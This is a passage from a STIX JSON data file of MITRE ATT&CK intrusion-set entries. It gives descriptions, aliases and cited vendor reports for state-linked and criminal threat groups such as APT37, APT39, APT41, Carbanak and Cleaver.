                    "url": "https://securelist.com/lazarus-under-the-hood/77908/",
                    "source_name": "Kaspersky Lazarus Under The Hood Blog 2017"
                },
                {
                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.",
                    "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/",
                    "source_name": "Securelist ScarCruft May 2019"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "description": "[APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.",
            "name": "APT37",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "type": "intrusion-set",
            "aliases": [
                "APT37",
                "ScarCruft",
                "Reaper",
                "Group123",
                "TEMP.Reaper"
            ],
            "modified": "2020-10-21T18:55:20.925Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_version": "1.5",
            "x_mitre_contributors": [
                "Valerii Marchuk, Cybersecurity Help s.r.o."
            ]
        },
        {
            "id": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "type": "intrusion-set",
            "name": "APT38",
            "description": "[APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.",
            "external_references": [
                {
                    "external_id": "G0082",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0082"
                },
                {
                    "source_name": "APT38",
                    "description": "(Citation: FireEye APT38 Oct 2018)"
                },
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A",
                    "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.",
                    "source_name": "US-CERT HIDDEN COBRA June 2017"
                },
                {
                    "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.",
                    "url": "https://securelist.com/lazarus-under-the-hood/77908/",
                    "source_name": "Kaspersky Lazarus Under The Hood Blog 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "aliases": [
                "APT38"
            ],
            "modified": "2020-03-30T18:50:43.737Z",
            "created": "2019-01-29T21:27:24.793Z",
            "x_mitre_version": "1.2"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "G0087",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0087"
                },
                {
                    "source_name": "APT39",
                    "description": "(Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"
                },
                {
                    "source_name": "REMIX KITTEN",
                    "description": "(Citation: Crowdstrike GTR2020 Mar 2020)"
                },
                {
                    "source_name": "ITG07",
                    "description": "(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"
                },
                {
                    "source_name": "Chafer",
                    "description": "Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)"
                },
                {
                    "source_name": "FireEye APT39 Jan 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html",
                    "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."
                },
                {
                    "description": "Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets",
                    "source_name": "Symantec Chafer Dec 2015"
                },
                {
                    "source_name": "FBI FLASH APT39 September 2020",
                    "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf",
                    "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."
                },
                {
                    "source_name": "Dept. of Treasury Iran Sanctions September 2020",
                    "url": "https://home.treasury.gov/news/press-releases/sm1127",
                    "description": "Dept. of Treasury. (2020, September 17). Treasury Sanctions Cyber Actors Backed by Iranian Intelligence. Retrieved December 10, 2020."
                },
                {
                    "source_name": "DOJ Iran Indictments September 2020",
                    "url": "https://www.justice.gov/opa/pr/department-justice-and-partner-departments-and-agencies-conduct-coordinated-actions-disrupt",
                    "description": "DOJ. (2020, September 17). Department of Justice and Partner Departments and Agencies Conduct Coordinated Actions to Disrupt and Deter Iranian Malicious Cyber Activities Targeting the United States and the Broader International Community. Retrieved December 10, 2020."
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                },
                {
                    "source_name": "Dark Reading APT39 JAN 2019",
                    "url": "https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764",
                    "description": "Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020."
                }
            ],
            "name": "APT39",
            "description": "[APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyberespionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)",
            "type": "intrusion-set",
            "id": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "aliases": [
                "APT39",
                "REMIX KITTEN",
                "ITG07",
                "Chafer"
            ],
            "modified": "2021-04-23T02:08:55.286Z",
            "created": "2019-02-19T16:01:38.585Z",
            "x_mitre_version": "3.0"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://attack.mitre.org/groups/G0096",
                    "source_name": "mitre-attack",
                    "external_id": "G0096"
                },
                {
                    "source_name": "APT41",
                    "description": "(Citation: FireEye APT41 2019)"
                },
                {
                    "source_name": "WICKED PANDA",
                    "description": "(Citation: Crowdstrike GTR2020 Mar 2020)"
                },
                {
                    "source_name": "FireEye APT41 Aug 2019",
                    "url": "https://content.fireeye.com/apt-41/rpt-apt41",
                    "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019."
                },
                {
                    "source_name": "Crowdstrike GTR2020 Mar 2020",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
                    "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."
                }
            ],
            "name": "APT41",
            "description": "[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019)",
            "type": "intrusion-set",
            "id": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7",
            "aliases": [
                "APT41",
                "WICKED PANDA"
            ],
            "modified": "2021-04-26T13:13:46.915Z",
            "created": "2019-09-23T13:43:36.945Z",
            "x_mitre_version": "2.0"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "G0130",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0130"
                },
                {
                    "source_name": "Operation Woolen-Goldfish",
                    "description": "Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and the campaign Operation Woolen-Goldfish.(Citation: Check Point Rocket Kitten)(Citation: TrendMicro Operation Woolen Goldfish March 2015)"
                },
                {
                    "source_name": "AjaxTM",
                    "description": "(Citation: FireEye Operation Saffron Rose 2013)"
                },
                {
                    "source_name": "Rocket Kitten",
                    "description": "Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and Rocket Kitten.(Citation: Check Point Rocket Kitten)(Citation: IranThreats Kittens Dec 2017)"
                },
                {
                    "source_name": "Flying Kitten",
                    "description": "(Citation: CrowdStrike Flying Kitten )"
                },
                {
                    "source_name": "Operation Saffron Rose",
                    "description": "(Citation: FireEye Operation Saffron Rose 2013)"
                },
                {
                    "source_name": "FireEye Operation Saffron Rose 2013",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf",
                    "description": "Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020."
                },
                {
                    "source_name": "Check Point Rocket Kitten",
                    "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf",
                    "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018."
                },
                {
                    "source_name": "TrendMicro Operation Woolen Goldfish March 2015",
                    "url": "https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf",
                    "description": "Cedric Pernet, Kenney Lu. (2015, March 19). Operation Woolen-Goldfish - When Kittens Go phishing. Retrieved April 21, 2021."
                },
                {
                    "source_name": "IranThreats Kittens Dec 2017",
                    "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/",
                    "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020."
                },
                {
                    "source_name": "CrowdStrike Flying Kitten ",
                    "url": "https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/",
                    "description": "Dahl, M.. (2014, May 13). Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN. Retrieved May 27, 2020."
                }
            ],
            "description": "[Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)",
            "name": "Ajax Security Team",
            "type": "intrusion-set",
            "id": "intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7",
            "aliases": [
                "Ajax Security Team",
                "Operation Woolen-Goldfish",
                "AjaxTM",
                "Rocket Kitten",
                "Flying Kitten",
                "Operation Saffron Rose"
            ],
            "modified": "2021-04-22T20:13:14.377Z",
            "created": "2021-04-14T13:17:43.941Z",
            "x_mitre_version": "1.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Axiom",
            "description": "[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti for Windows](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0001",
                    "external_id": "G0001"
                },
                {
                    "source_name": "Axiom",
                    "description": "(Citation: Novetta-Axiom)"
                },
                {
                    "source_name": "Group 72",
                    "description": "(Citation: Cisco Group 72)"
                },
                {
                    "source_name": "Novetta-Axiom",
                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
                    "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"
                },
                {
                    "source_name": "Kaspersky Winnti April 2013",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.",
                    "url": "https://securelist.com/winnti-more-than-just-a-game/37029/"
                },
                {
                    "source_name": "Kaspersky Winnti June 2015",
                    "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.",
                    "url": "https://securelist.com/games-are-over/70991/"
                },
                {
                    "source_name": "Novetta Winnti April 2015",
                    "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.",
                    "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"
                },
                {
                    "source_name": "Cisco Group 72",
                    "description": "Esler, J., Lee, M., and Williams, C.. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.",
                    "url": "http://blogs.cisco.com/security/talos/threat-spotlight-group-72"
                }
            ],
            "aliases": [
                "Axiom",
                "Group 72"
            ],
            "modified": "2020-03-30T18:52:38.226Z",
            "created": "2017-05-31T21:31:45.629Z",
            "x_mitre_version": "1.2"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0060",
                    "external_id": "G0060"
                },
                {
                    "source_name": "BRONZE BUTLER",
                    "description": "(Citation: Trend Micro Daserf Nov 2017)(Citation: Trend Micro Tick November 2019)"
                },
                {
                    "source_name": "REDBALDKNIGHT",
                    "description": "(Citation: Trend Micro Daserf Nov 2017)(Citation: Trend Micro Tick November 2019)"
                },
                {
                    "source_name": "Tick",
                    "description": "(Citation: Trend Micro Daserf Nov 2017)(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)"
                },
                {
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/",
                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
                    "source_name": "Trend Micro Daserf Nov 2017"
                },
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                },
                {
                    "source_name": "Trend Micro Tick November 2019",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
                },
                {
                    "source_name": "Symantec Tick Apr 2016",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"
                }
            ],
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            ],
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)",
            "name": "BRONZE BUTLER",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "type": "intrusion-set",
            "aliases": [
                "BRONZE BUTLER",
                "REDBALDKNIGHT",
                "Tick"
            ],
            "modified": "2021-04-26T13:16:28.738Z",
            "created": "2018-01-16T16:13:52.465Z",
            "x_mitre_contributors": [
                "Trend Micro Incorporated"
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            "x_mitre_version": "1.2"
        },
        {
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            "id": "intrusion-set--da49b9f1-ca99-443f-9728-0a074db66850",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "BlackOasis",
            "description": "[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)",
            "object_marking_refs": [
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            ],
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0063",
                    "external_id": "G0063"
                },
                {
                    "source_name": "BlackOasis",
                    "description": "(Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017)"
                },
                {
                    "source_name": "Securelist BlackOasis Oct 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.",
                    "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/"
                },
                {
                    "source_name": "Securelist APT Trends Q2 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.",
                    "url": "https://securelist.com/apt-trends-report-q2-2017/79332/"
                },
                {
                    "source_name": "CyberScoop BlackOasis Oct 2017",
                    "description": "Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.",
                    "url": "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/"
                }
            ],
            "aliases": [
                "BlackOasis"
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8",
            "type": "intrusion-set",
            "name": "BlackTech",
            "description": "[BlackTech](https://attack.mitre.org/groups/G0098) is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong.(Citation: TrendMicro BlackTech June 2017)",
            "external_references": [
                {
                    "external_id": "G0098",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0098"
                },
                {
                    "source_name": "TrendMicro BlackTech June 2017",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/",
                    "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."
                }
            ],
            "object_marking_refs": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "aliases": [
                "BlackTech"
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            "modified": "2021-04-20T17:57:07.909Z",
            "created": "2020-05-05T18:36:45.970Z",
            "x_mitre_contributors": [
                "Tatsuya Daitoku, Cyber Defense Institute, Inc."
            ],
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "external_id": "G0108",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0108"
                },
                {
                    "source_name": "RedCanary Mockingbird May 2020",
                    "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/",
                    "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."
                }
            ],
            "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest observed Blue Mockingbird tools were created in December 2019.(Citation: RedCanary Mockingbird May 2020)",
            "name": "Blue Mockingbird",
            "type": "intrusion-set",
            "id": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee",
            "aliases": [
                "Blue Mockingbird"
            ],
            "modified": "2020-06-25T13:59:09.596Z",
            "created": "2020-05-26T20:09:39.139Z",
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Tony Lambert, Red Canary"
            ]
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Carbanak",
            "description": "[Carbanak](https://attack.mitre.org/groups/G0008) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0008",
                    "external_id": "G0008"
                },
                {
                    "source_name": "Carbanak",
                    "description": "(Citation: Kaspersky Carbanak) (Citation: Fox-It Anunak Feb 2015)"
                },
                {
                    "source_name": "Anunak",
                    "description": "(Citation: Fox-It Anunak Feb 2015)"
                },
                {
                    "source_name": "Carbon Spider",
                    "description": "(Citation: Crowdstrike State of Criminal May 2016)"
                },
                {
                    "source_name": "Kaspersky Carbanak",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "source_name": "FireEye FIN7 April 2017"
                },
                {
                    "source_name": "Fox-It Anunak Feb 2015",
                    "description": "Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.",
                    "url": "https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/"
                },
                {
                    "url": "https://www.crowdstrike.com/blog/state-criminal-address/",
                    "description": "Johnston, R. (2016, May 16). State of the Criminal Address. Retrieved December 7, 2017.",
                    "source_name": "Crowdstrike State of Criminal May 2016"
                }
            ],
            "aliases": [
                "Carbanak",
                "Anunak",
                "Carbon Spider"
            ],
            "modified": "2021-04-26T13:17:57.921Z",
            "created": "2017-05-31T21:31:49.021Z",
            "x_mitre_contributors": [
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            ],
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        },
        {
            "created": "2020-08-24T17:01:55.842Z",
            "modified": "2021-04-26T13:45:19.750Z",
            "aliases": [
                "Chimera"
            ],
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                {
                    "external_id": "G0114",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0114"
                },
                {
                    "source_name": "Chimera",
                    "description": "(Citation: NCC Group Chimera January 2021) "
                },
                {
                    "source_name": "Cycraft Chimera April 2020",
                    "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf",
                    "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020."
                },
                {
                    "source_name": "NCC Group Chimera January 2021",
                    "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/",
                    "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."
                }
            ],
            "description": "[Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)",
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            "type": "intrusion-set",
            "id": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c",
            "x_mitre_version": "2.0"
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        {
            "type": "intrusion-set",
            "id": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Cleaver",
            "description": "[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)",
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                    "url": "https://attack.mitre.org/groups/G0003",
                    "external_id": "G0003"
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                {
                    "source_name": "Cleaver",
                    "description": "(Citation: Cylance Cleaver)"
                },
                {
                    "source_name": "Threat Group 2889",
                    "description": "(Citation: Dell Threat Group 2889)"
                },
                {
                    "source_name": "TG-2889",
                    "description": "(Citation: Dell Threat Group 2889)"
                },
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                },
                {
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/",
                    "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.",
                    "source_name": "Dell Threat Group 2889"
                }
            ],
            "aliases": [
                "Cleaver",
                "Threat Group 2889",
                "TG-2889"
            ],
            "modified": "2021-04-21T16:41:34.724Z",
            "created": "2017-05-31T21:31:46.390Z",
            "x_mitre_version": "1.2"
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        {
            "type": "intrusion-set",
            "id": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
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            "name": "Cobalt Group",
